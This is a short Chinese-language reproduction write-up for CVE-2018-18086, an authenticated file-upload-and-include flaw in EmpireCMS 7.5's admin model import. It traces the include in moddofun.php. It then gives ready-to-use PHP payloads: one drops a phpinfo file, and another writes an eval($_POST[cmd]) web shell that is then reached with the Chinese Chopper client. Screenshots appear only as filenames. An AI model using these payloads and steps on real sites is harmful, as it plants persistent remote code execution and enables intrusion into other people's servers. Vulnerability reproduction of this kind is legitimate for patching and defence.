(CVE-2018-18086)EmpireCMS 7.5 后台getshell
一、漏洞简介
二、漏洞影响
EmpireCMS 7.5
三、复现过程
查看/e/admin/ecmsmod.php
代码
1.png
跟随LoadInMod
函数来到/e/class/moddofun.php
,可以看到上传文件处使用make_password(10)
对时间进行加密然后拼接成为上传的文件名,这样就无法得到用户名
2.png
继续浏览代码,在下面发现@include($path)
,直接包含了这个上传的文件,这时如果在上传文件中添加可以创建文件的代码就可以绕过找不到文件名这个限制了。
3.png
我们可以构造如下payload:
<?php file_put_contents(“shell.php”,”<?php phpinfo(); ?>”); ?>
登录后台,点击如下图所示
4.png
点击"导入系统模型"之后进入如下界面5.png
可以上传一个内容为php代码的.mod
后缀的文件,内容如下:
6.png
上传1.php.mod
文件
7.png
查看文件,可以看到成功上传
8.png
浏览访问http://www.0-sec.org/e/admin/shell.php
,可以看到成功执行代码
9.png
上传一个内容可以getshell的1.php.mod
,内容入下:注意需要对$
进行转义
<?php file_put_contents("caidao.php","<?php @eval(\$_POST[cmd]); ?>");?>
成功上传后,菜刀连接,成功getshell
10.png
参考链接
https://www.shuzhiduo.com/A/ZOJPejmP5v/